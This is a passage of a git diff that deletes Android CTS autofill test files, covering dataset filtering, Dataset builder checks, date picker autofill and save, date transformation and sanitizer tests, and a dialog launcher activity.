-                        .setField(ID_USERNAME, "dude")
-                        .build());
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "aword")
-                        .setPresentation(plain, isInlineMode())
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "a ignore", everything)
-                        .setPresentation(regexPlain, isInlineMode())
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "ab ignore", everything)
-                        .setAuthentication(authentication)
-                        .setPresentation(authRegex, isInlineMode())
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "ab ignore",
-                                everything)
-                        .setPresentation(kitchnSync, isInlineMode())
-                        .build())
-                .build());
-
-        // Trigger auto-fill.
-        mUiBot.selectByRelativeId(ID_USERNAME);
-        mUiBot.waitForIdle();
-        sReplier.getNextFillRequest();
-
-        // With no filter text all datasets should be shown
-        mUiBot.assertDatasets(plain, regexPlain, authRegex, kitchnSync);
-
-        // All datasets start with 'a'
-        sendKeyEvent("KEYCODE_A");
-        mUiBot.assertDatasets(plain, regexPlain, authRegex, kitchnSync);
-
-        // Only the regex datasets should start with 'ab'
-        sendKeyEvent("KEYCODE_B");
-        mUiBot.assertDatasets(regexPlain, authRegex, kitchnSync);
-    }
-
-    @Test
-    @AppModeFull(reason = "testFilter() is enough")
-    public void testFilter_resetFilter_chooseFirst() throws Exception {
-        resetFilterTest(1);
-    }
-
-    @Test
-    @AppModeFull(reason = "testFilter() is enough")
-    public void testFilter_resetFilter_chooseSecond() throws Exception {
-        resetFilterTest(2);
-    }
-
-    @Test
-    @AppModeFull(reason = "testFilter() is enough")
-    public void testFilter_resetFilter_chooseThird() throws Exception {
-        resetFilterTest(3);
-    }
-
-    // Tests that datasets are re-shown and filtering still works after clearing a selected value.
-    private void resetFilterTest(int number) throws Exception {
-        final String aa = "Two A's";
-        final String ab = "A and B";
-        final String b = "Only B";
-
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "aa")
-                        .setPresentation(aa, isInlineMode())
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "ab")
-                        .setPresentation(ab, isInlineMode())
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "b")
-                        .setPresentation(b, isInlineMode())
-                        .build())
-                .build());
-
-        final String chosenOne;
-        switch (number) {
-            case 1:
-                chosenOne = aa;
-                mActivity.expectAutoFill("aa");
-                break;
-            case 2:
-                chosenOne = ab;
-                mActivity.expectAutoFill("ab");
-                break;
-            case 3:
-                chosenOne = b;
-                mActivity.expectAutoFill("b");
-                break;
-            default:
-                throw new IllegalArgumentException("invalid dataset number: " + number);
-        }
-
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        final EditText username = mActivity.getUsername();
-
-        // Trigger auto-fill.
-        mUiBot.selectByRelativeId(ID_USERNAME);
-        callback.assertUiShownEvent(username);
-
-        sReplier.getNextFillRequest();
-
-        // With no filter text all datasets should be shown
-        mUiBot.assertDatasets(aa, ab, b);
-
-        // select the choice
-        mUiBot.selectDataset(chosenOne);
-        callback.assertUiHiddenEvent(username);
-        mUiBot.assertNoDatasets();
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-
-        // Change the filled text and check that filtering still works.
-        changeUsername("a");
-        mUiBot.assertDatasets(aa, ab);
-
-        // Reset back to all choices
-        changeUsername("");
-        mUiBot.assertDatasets(aa, ab, b);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DatasetTest.java b/tests/autofillservice/src/android/autofillservice/cts/DatasetTest.java
deleted file mode 100644
index 48af2cc..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/DatasetTest.java
+++ /dev/null
@@ -1,207 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.mockito.Mockito.mock;
-import static org.testng.Assert.assertThrows;
-
-import android.app.slice.Slice;
-import android.app.slice.SliceSpec;
-import android.net.Uri;
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.Dataset;
-import android.service.autofill.InlinePresentation;
-import android.util.Size;
-import android.view.autofill.AutofillId;
-import android.view.autofill.AutofillValue;
-import android.widget.RemoteViews;
-import android.widget.inline.InlinePresentationSpec;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.regex.Pattern;
-
-@RunWith(AndroidJUnit4.class)
-@AppModeFull(reason = "Unit test")
-public class DatasetTest {
-
-    private final AutofillId mId = new AutofillId(42);
-    private final AutofillValue mValue = AutofillValue.forText("ValuableLikeGold");
-    private final Pattern mFilter = Pattern.compile("whatever");
-    private final InlinePresentation mInlinePresentation = new InlinePresentation(
-            new Slice.Builder(new Uri.Builder().appendPath("DatasetTest").build(),
-                    new SliceSpec("DatasetTest", 1)).build(),
-            new InlinePresentationSpec.Builder(new Size(10, 10),
-                    new Size(50, 50)).build(), /* pinned= */ false);
-
-    private final RemoteViews mPresentation = mock(RemoteViews.class);
-
-    @Test
-    public void testBuilder_nullPresentation() {
-        assertThrows(NullPointerException.class, () -> new Dataset.Builder((RemoteViews) null));
-    }
-
-    @Test
-    public void testBuilder_nullInlinePresentation() {
-        assertThrows(NullPointerException.class,
-                () -> new Dataset.Builder((InlinePresentation) null));
-    }
-
-    @Test
-    public void testBuilder_validPresentations() {
-        assertThat(new Dataset.Builder(mPresentation)).isNotNull();
-        assertThat(new Dataset.Builder(mInlinePresentation)).isNotNull();
-    }
-
-    @Test
-    public void testBuilder_setNullInlinePresentation() {
-        final Dataset.Builder builder = new Dataset.Builder(mPresentation);
-        assertThrows(NullPointerException.class, () -> builder.setInlinePresentation(null));
-    }
-
-    @Test
-    public void testBuilder_setInlinePresentation() {
-        assertThat(new Dataset.Builder().setInlinePresentation(mInlinePresentation)).isNotNull();
-    }
-
-    @Test
-    public void testBuilder_setValueNullId() {
-        final Dataset.Builder builder = new Dataset.Builder(mPresentation);
-        assertThrows(NullPointerException.class, () -> builder.setValue(null, mValue));
-    }
-
-    @Test
-    public void testBuilder_setValueWithoutPresentation() {
-        // Just assert that it builds without throwing an exception.
-        assertThat(new Dataset.Builder().setValue(mId, mValue).build()).isNotNull();
-    }
-
-    @Test
-    public void testBuilder_setValueWithNullPresentation() {
-        final Dataset.Builder builder = new Dataset.Builder();
-        assertThrows(NullPointerException.class, () -> builder.setValue(mId, mValue,
-                (RemoteViews) null));
-    }
-
-    @Test
-    public void testBuilder_setValueWithBothPresentation_nullPresentation() {
-        final Dataset.Builder builder = new Dataset.Builder();
-        assertThrows(NullPointerException.class, () -> builder.setValue(mId, mValue,
-                null, mInlinePresentation));
-    }
-
-    @Test
-    public void testBuilder_setValueWithBothPresentation_nullInlinePresentation() {
-        final Dataset.Builder builder = new Dataset.Builder();
-        assertThrows(NullPointerException.class, () -> builder.setValue(mId, mValue,
-                mPresentation, null));
-    }
-
-    @Test
-    public void testBuilder_setValueWithBothPresentation_bothNull() {
-        final Dataset.Builder builder = new Dataset.Builder();
-        assertThrows(NullPointerException.class, () -> builder.setValue(mId, mValue,
-                (RemoteViews) null, null));
-    }
-
-    @Test
-    public void testBuilder_setFilteredValueWithNullFilter() {
-        assertThat(new Dataset.Builder(mPresentation).setValue(mId, mValue, (Pattern) null).build())
-                .isNotNull();
-    }
-
-    @Test
-    public void testBuilder_setFilteredValueWithPresentation_nullFilter() {
-        assertThat(new Dataset.Builder().setValue(mId, mValue, null, mPresentation).build())
-                .isNotNull();
-    }
-
-    @Test
-    public void testBuilder_setFilteredValueWithPresentation_nullPresentation() {
-        final Dataset.Builder builder = new Dataset.Builder();
-        assertThrows(NullPointerException.class, () -> builder.setValue(mId, mValue, mFilter,
-                null));
-    }
-
-    @Test
-    public void testBuilder_setFilteredValueWithoutPresentation() {
-        final Dataset.Builder builder = new Dataset.Builder();
-        assertThrows(IllegalStateException.class, () -> builder.setValue(mId, mValue, mFilter));
-    }
-
-    @Test
-    public void testBuilder_setFilteredValueWithBothPresentation_nullPresentation() {
-        final Dataset.Builder builder = new Dataset.Builder();
-        assertThrows(NullPointerException.class, () -> builder.setValue(mId, mValue, mFilter,
-                null, mInlinePresentation));
-    }
-
-    @Test
-    public void testBuilder_setFilteredValueWithBothPresentation_nullInlinePresentation() {
-        final Dataset.Builder builder = new Dataset.Builder();
-        assertThrows(NullPointerException.class, () -> builder.setValue(mId, mValue, mFilter,
-                mPresentation, null));
-    }
-
-    @Test
-    public void testBuilder_setFilteredValueWithBothPresentation_bothNull() {
-        final Dataset.Builder builder = new Dataset.Builder();
-        assertThrows(NullPointerException.class, () -> builder.setValue(mId, mValue, mFilter,
-                null, null));
-    }
-
-    @Test
-    public void testBuilder_setFieldInlinePresentations() {
-        assertThat(new Dataset.Builder().setFieldInlinePresentation(mId, mValue, mFilter,
-                mInlinePresentation)).isNotNull();
-    }
-
-    @Test
-    public void testBuild_noValues() {
-        final Dataset.Builder builder = new Dataset.Builder();
-        assertThrows(IllegalStateException.class, () -> builder.build());
-    }
-
-    @Test
-    public void testNoMoreInteractionsAfterBuild() {
-        final Dataset.Builder builder = new Dataset.Builder();
-        builder.setValue(mId, mValue, mPresentation);
-        assertThat(builder.build()).isNotNull();
-        assertThrows(IllegalStateException.class, () -> builder.build());
-        assertThrows(IllegalStateException.class,
-                () -> builder.setInlinePresentation(mInlinePresentation));
-        assertThrows(IllegalStateException.class, () -> builder.setValue(mId, mValue));
-        assertThrows(IllegalStateException.class,
-                () -> builder.setValue(mId, mValue, mPresentation));
-        assertThrows(IllegalStateException.class,
-                () -> builder.setValue(mId, mValue, mFilter));
-        assertThrows(IllegalStateException.class,
-                () -> builder.setValue(mId, mValue, mFilter, mPresentation));
-        assertThrows(IllegalStateException.class,
-                () -> builder.setValue(mId, mValue, mPresentation, mInlinePresentation));
-        assertThrows(IllegalStateException.class,
-                () -> builder.setValue(mId, mValue, mFilter, mPresentation, mInlinePresentation));
-        assertThrows(IllegalStateException.class,
-                () -> builder.setFieldInlinePresentation(mId, mValue, mFilter,
-                        mInlinePresentation));
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DatePickerCalendarActivity.java b/tests/autofillservice/src/android/autofillservice/cts/DatePickerCalendarActivity.java
deleted file mode 100644
index 4873c39..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/DatePickerCalendarActivity.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-public class DatePickerCalendarActivity extends AbstractDatePickerActivity {
-
-    @Override
-    protected int getContentView() {
-        return R.layout.date_picker_calendar_activity;
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DatePickerCalendarActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/DatePickerCalendarActivityTest.java
deleted file mode 100644
index decc4b7..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/DatePickerCalendarActivityTest.java
+++ /dev/null
@@ -1,34 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import android.platform.test.annotations.AppModeFull;
-
-@AppModeFull(reason = "Unit test")
-public class DatePickerCalendarActivityTest extends DatePickerTestCase<DatePickerCalendarActivity> {
-
-    @Override
-    protected AutofillActivityTestRule<DatePickerCalendarActivity> getActivityRule() {
-        return new AutofillActivityTestRule<DatePickerCalendarActivity>(
-                DatePickerCalendarActivity.class) {
-            @Override
-            protected void afterActivityLaunched() {
-                mActivity = getActivity();
-            }
-        };
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DatePickerSpinnerActivity.java b/tests/autofillservice/src/android/autofillservice/cts/DatePickerSpinnerActivity.java
deleted file mode 100644
index c9d39f8..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/DatePickerSpinnerActivity.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-public class DatePickerSpinnerActivity extends AbstractDatePickerActivity {
-
-    @Override
-    protected int getContentView() {
-        return R.layout.date_picker_spinner_activity;
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DatePickerSpinnerActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/DatePickerSpinnerActivityTest.java
deleted file mode 100644
index 4b63e10..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/DatePickerSpinnerActivityTest.java
+++ /dev/null
@@ -1,34 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import android.platform.test.annotations.AppModeFull;
-
-@AppModeFull(reason = "Unit test")
-public class DatePickerSpinnerActivityTest extends DatePickerTestCase<DatePickerSpinnerActivity> {
-
-    @Override
-    protected AutofillActivityTestRule<DatePickerSpinnerActivity> getActivityRule() {
-        return new AutofillActivityTestRule<DatePickerSpinnerActivity>(
-                DatePickerSpinnerActivity.class) {
-            @Override
-            protected void afterActivityLaunched() {
-                mActivity = getActivity();
-            }
-        };
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DatePickerTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/DatePickerTestCase.java
deleted file mode 100644
index 13cb12b..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/DatePickerTestCase.java
+++ /dev/null
@@ -1,93 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.AbstractDatePickerActivity.ID_DATE_PICKER;
-import static android.autofillservice.cts.AbstractDatePickerActivity.ID_OUTPUT;
-import static android.autofillservice.cts.Helper.assertDateValue;
-import static android.autofillservice.cts.Helper.assertNumberOfChildren;
-import static android.autofillservice.cts.Helper.assertTextAndValue;
-import static android.autofillservice.cts.Helper.assertTextIsSanitized;
-import static android.autofillservice.cts.Helper.findNodeByResourceId;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.autofillservice.cts.CannedFillResponse.CannedDataset;
-import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
-import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
-import android.icu.util.Calendar;
-
-import org.junit.Test;
-
-/**
- * Base class for {@link AbstractDatePickerActivity} tests.
- */
-abstract class DatePickerTestCase<A extends AbstractDatePickerActivity>
-        extends AutoFillServiceTestCase.AutoActivityLaunch<A> {
-
-    protected A mActivity;
-
-    @Test
-    public void testAutoFillAndSave() throws Exception {
-        assertWithMessage("subclass did not set mActivity").that(mActivity).isNotNull();
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        final Calendar cal = Calendar.getInstance();
-        cal.set(Calendar.YEAR, 2012);
-        cal.set(Calendar.MONTH, Calendar.DECEMBER);
-        cal.set(Calendar.DAY_OF_MONTH, 20);
-
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                    .setPresentation(createPresentation("The end of the world"))
-                    .setField(ID_OUTPUT, "Y U NO CHANGE ME?")
-                    .setField(ID_DATE_PICKER, cal.getTimeInMillis())
-                    .build())
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_OUTPUT, ID_DATE_PICKER)
-                .build());
-        mActivity.expectAutoFill("2012/11/20", 2012, Calendar.DECEMBER, 20);
-
-        // Trigger auto-fill.
-        mActivity.onOutput((v) -> v.requestFocus());
-        final FillRequest fillRequest = sReplier.getNextFillRequest();
-
-        // Assert properties of DatePicker field.
-        assertTextIsSanitized(fillRequest.structure, ID_DATE_PICKER);
-        assertNumberOfChildren(fillRequest.structure, ID_DATE_PICKER, 0);
-
-        // Auto-fill it.
-        mUiBot.selectDataset("The end of the world");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-
-        // Trigger save.
-        mActivity.setDate(2010, Calendar.DECEMBER, 12);
-        mActivity.tapOk();
-
-        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_GENERIC);
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertWithMessage("onSave() not called").that(saveRequest).isNotNull();
-
-        // Assert sanitization on save: everything should be available!
-        assertDateValue(findNodeByResourceId(saveRequest.structure, ID_DATE_PICKER), 2010, 11, 12);
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_OUTPUT), "2010/11/12");
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DateTransformationTest.java b/tests/autofillservice/src/android/autofillservice/cts/DateTransformationTest.java
deleted file mode 100644
index c6385ed..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/DateTransformationTest.java
+++ /dev/null
@@ -1,99 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static org.mockito.ArgumentMatchers.any;
-import static org.mockito.ArgumentMatchers.argThat;
-import static org.mockito.ArgumentMatchers.eq;
-import static org.mockito.Mockito.never;
-import static org.mockito.Mockito.verify;
-import static org.mockito.Mockito.when;
-import static org.testng.Assert.assertThrows;
-
-import android.icu.text.SimpleDateFormat;
-import android.icu.util.Calendar;
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.DateTransformation;
-import android.service.autofill.ValueFinder;
-import android.view.autofill.AutofillId;
-import android.view.autofill.AutofillValue;
-import android.widget.RemoteViews;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.mockito.Mock;
-import org.mockito.junit.MockitoJUnitRunner;
-
-@RunWith(MockitoJUnitRunner.class)
-@AppModeFull(reason = "Unit test")
-public class DateTransformationTest {
-
-    @Mock private ValueFinder mValueFinder;
-    @Mock private RemoteViews mTemplate;
-
-    private final AutofillId mFieldId = new AutofillId(42);
-
-    @Test
-    public void testConstructor_nullFieldId() {
-        assertThrows(NullPointerException.class,
-                () -> new DateTransformation(null, new SimpleDateFormat()));
-    }
-
-    @Test
-    public void testConstructor_nullDateFormat() {
-        assertThrows(NullPointerException.class, () -> new DateTransformation(mFieldId, null));
-    }
-
-    @Test
-    public void testFieldNotFound() throws Exception {
-        final DateTransformation trans = new DateTransformation(mFieldId, new SimpleDateFormat());
-
-        trans.apply(mValueFinder, mTemplate, 0);
-
-        verify(mTemplate, never()).setCharSequence(eq(0), any(), any());
-    }
-
-    @Test
-    public void testInvalidAutofillValueType() throws Exception {
-        final DateTransformation trans = new DateTransformation(mFieldId, new SimpleDateFormat());
-
-        when(mValueFinder.findRawValueByAutofillId(mFieldId))
-                .thenReturn(AutofillValue.forText("D'OH"));
-        trans.apply(mValueFinder, mTemplate, 0);
-
-        verify(mTemplate, never()).setCharSequence(eq(0), any(), any());
-    }
-
-    @Test
-    public void testValidAutofillValue() throws Exception {
-        final DateTransformation trans = new DateTransformation(mFieldId,
-                new SimpleDateFormat("MM/yyyy"));
-
-        final Calendar cal = Calendar.getInstance();
-        cal.set(Calendar.YEAR, 2012);
-        cal.set(Calendar.MONTH, Calendar.DECEMBER);
-        cal.set(Calendar.DAY_OF_MONTH, 20);
-
-        when(mValueFinder.findRawValueByAutofillId(mFieldId))
-                .thenReturn(AutofillValue.forDate(cal.getTimeInMillis()));
-
-        trans.apply(mValueFinder, mTemplate, 0);
-
-        verify(mTemplate).setCharSequence(eq(0), any(),
-                argThat(new CharSequenceMatcher("12/2012")));
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DateValueSanitizerTest.java b/tests/autofillservice/src/android/autofillservice/cts/DateValueSanitizerTest.java
deleted file mode 100644
index fc9f1dd..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/DateValueSanitizerTest.java
+++ /dev/null
@@ -1,88 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.testng.Assert.assertThrows;
-
-import android.icu.text.SimpleDateFormat;
-import android.icu.util.Calendar;
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.DateValueSanitizer;
-import android.util.Log;
-import android.view.autofill.AutofillValue;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.Date;
-
-@RunWith(AndroidJUnit4.class)
-@AppModeFull(reason = "Unit test")
-public class DateValueSanitizerTest {
-
-    private static final String TAG = "DateValueSanitizerTest";
-
-    private final SimpleDateFormat mDateFormat = new SimpleDateFormat("MM/yyyy");
-
-    @Test
-    public void testConstructor_nullDateFormat() {
-        assertThrows(NullPointerException.class, () -> new DateValueSanitizer(null));
-    }
-
-    @Test
-    public void testSanitize_nullValue() throws Exception {
-        final DateValueSanitizer sanitizer = new DateValueSanitizer(new SimpleDateFormat());
-        assertThat(sanitizer.sanitize(null)).isNull();
-    }
-
-    @Test
-    public void testSanitize_invalidValue() throws Exception {
-        final DateValueSanitizer sanitizer = new DateValueSanitizer(new SimpleDateFormat());
-        assertThat(sanitizer.sanitize(AutofillValue.forText("D'OH!"))).isNull();
-    }
-
-    @Test
-    public void testSanitize_ok() throws Exception {
-        final Calendar inputCal = Calendar.getInstance();
-        inputCal.set(Calendar.YEAR, 2012);
-        inputCal.set(Calendar.MONTH, Calendar.DECEMBER);
-        inputCal.set(Calendar.DAY_OF_MONTH, 20);
-        final long inputDate = inputCal.getTimeInMillis();
-        final AutofillValue inputValue = AutofillValue.forDate(inputDate);
-        Log.v(TAG, "Input date: " + inputDate + " >> " + new Date(inputDate));
-
-        final Calendar expectedCal = Calendar.getInstance();
-        expectedCal.clear(); // We just care for year and month...
-        expectedCal.set(Calendar.YEAR, 2012);
-        expectedCal.set(Calendar.MONTH, Calendar.DECEMBER);
-        final long expectedDate = expectedCal.getTimeInMillis();
-        final AutofillValue expectedValue = AutofillValue.forDate(expectedDate);
-        Log.v(TAG, "Exected date: " + expectedDate + " >> " + new Date(expectedDate));
-
-        final DateValueSanitizer sanitizer = new DateValueSanitizer(
-                mDateFormat);
-        final AutofillValue sanitizedValue = sanitizer.sanitize(inputValue);
-        final long sanitizedDate = sanitizedValue.getDateValue();
-        Log.v(TAG, "Sanitized date: " + sanitizedDate + " >> " + new Date(sanitizedDate));
-        assertThat(sanitizedDate).isEqualTo(expectedDate);
-        assertThat(sanitizedValue).isEqualTo(expectedValue);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DialogLauncherActivity.java b/tests/autofillservice/src/android/autofillservice/cts/DialogLauncherActivity.java
deleted file mode 100644
index 6d36b72..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/DialogLauncherActivity.java
+++ /dev/null
@@ -1,133 +0,0 @@
-/*
- * Copyright 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.app.AlertDialog;
-import android.content.Context;
-import android.graphics.Rect;
-import android.os.Bundle;
-import android.util.DisplayMetrics;
-import android.view.Display;
-import android.view.View;
-import android.view.WindowManager;
-import android.widget.Button;
-import android.widget.EditText;
-
-/**
- * Activity that has buttons to launch dialogs that should then be autofillable.
- */
-public class DialogLauncherActivity extends AbstractAutoFillActivity {
-
-    private FillExpectation mExpectation;
-    private LoginDialog mDialog;
-    Button mLaunchButton;
-
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        setContentView(R.layout.dialog_launcher_activity);
-        mLaunchButton = findViewById(R.id.launch_button);
-        mDialog = new LoginDialog(this);
-        mLaunchButton.setOnClickListener((v) -> mDialog.show());
-    }
-
-    void onUsername(Visitor<EditText> v) {
-        syncRunOnUiThread(() -> v.visit(mDialog.mUsernameEditText));
-    }
-
-    void launchDialog(UiBot uiBot) throws Exception {
-        syncRunOnUiThread(() -> mLaunchButton.performClick());
-        // TODO: should assert by id, but it's not working
-        uiBot.assertShownByText("Username");
-    }
-
-    void assertInDialogBounds(Rect rect) {
-        final int[] location = new int[2];
-        final View view = mDialog.getWindow().getDecorView();
-        view.getLocationOnScreen(location);
-        assertThat(location[0]).isAtMost(rect.left);
-        assertThat(rect.right).isAtMost(location[0] + view.getWidth());
-        assertThat(location[1]).isAtMost(rect.top);
-        assertThat(rect.bottom).isAtMost(location[1] + view.getHeight());
-    }
-
-    void maximizeDialog() {
-        final WindowManager wm = getWindowManager();
-        final Display display = wm.getDefaultDisplay();
-        final DisplayMetrics metrics = new DisplayMetrics();
-        display.getMetrics(metrics);
-        syncRunOnUiThread(
-                () -> mDialog.getWindow().setLayout(metrics.widthPixels, metrics.heightPixels));
-    }
-
-    void expectAutofill(String username, String password) {
-        assertWithMessage("must call launchDialog first").that(mDialog.mUsernameEditText)
-                .isNotNull();
-        mExpectation = new FillExpectation(username, password);
-        mDialog.mUsernameEditText.addTextChangedListener(mExpectation.mCcUsernameWatcher);
-        mDialog.mPasswordEditText.addTextChangedListener(mExpectation.mCcPasswordWatcher);
-    }
-
-    void assertAutofilled() throws Exception {
-        assertWithMessage("expectAutoFill() not called").that(mExpectation).isNotNull();
-        if (mExpectation.mCcUsernameWatcher != null) {
-            mExpectation.mCcUsernameWatcher.assertAutoFilled();
-        }
-        if (mExpectation.mCcPasswordWatcher != null) {
-            mExpectation.mCcPasswordWatcher.assertAutoFilled();
-        }
-    }
-
-    private final class FillExpectation {
-        private final OneTimeTextWatcher mCcUsernameWatcher;
-        private final OneTimeTextWatcher mCcPasswordWatcher;
-
-        private FillExpectation(String username, String password) {
-            mCcUsernameWatcher = username == null ? null
-                    : new OneTimeTextWatcher("username", mDialog.mUsernameEditText, username);
-            mCcPasswordWatcher = password == null ? null
-                    : new OneTimeTextWatcher("password", mDialog.mPasswordEditText, password);
-        }
-
